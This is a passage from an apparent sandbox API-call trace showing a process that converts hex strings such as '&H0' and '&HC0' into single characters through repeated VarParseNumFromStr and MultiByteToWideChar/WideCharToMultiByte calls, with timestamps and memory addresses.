lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.747] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.747] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.748] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.748] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.748] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.749] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.749] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.749] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.749] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.750] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.750] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.750] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.750] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.750] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.751] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.751] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.751] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.752] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.752] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.752] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.752] VarParseNumFromStr (in: strIn="&HC0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.752] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.753] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="À") returned 1 [0061.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="À", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="À", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="À", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="À", lpUsedDefaultChar=0x0) returned 1 [0061.753] VarParseNumFromStr (in: strIn="&H1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.754] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="\x01") returned 1 [0061.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01", lpUsedDefaultChar=0x0) returned 1 [0061.754] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.754] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.755] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.755] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.755] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.755] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.756] VarParseNumFromStr (in: strIn="&H4", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.756] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.756] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="\x04") returned 1 [0061.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x04", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x04", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x04", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x04", lpUsedDefaultChar=0x0) returned 1 [0061.757] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.757] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.757] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.758] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.758] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.759] VarParseNumFromStr (in: strIn="&HE", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.759] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="\x0e") returned 1 [0061.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x0e", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x0e", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x0e", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x0e", lpUsedDefaultChar=0x0) returned 1 [0061.759] VarParseNumFromStr (in: strIn="&H7E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.759] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="~") returned 1 [0061.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="~", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="~", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="~", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="~", lpUsedDefaultChar=0x0) returned 1 [0061.760] VarParseNumFromStr (in: strIn="&H2", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.760] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.760] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="\x02") returned 1 [0061.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x02", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x02", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x02", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x02", lpUsedDefaultChar=0x0) returned 1 [0061.761] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.761] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.762] VarParseNumFromStr (in: strIn="&H2", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.762] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.762] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="\x02") returned 1 [0061.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x02", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x02", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x02", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x02", lpUsedDefaultChar=0x0) returned 1 [0061.762] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.762] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.762] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, 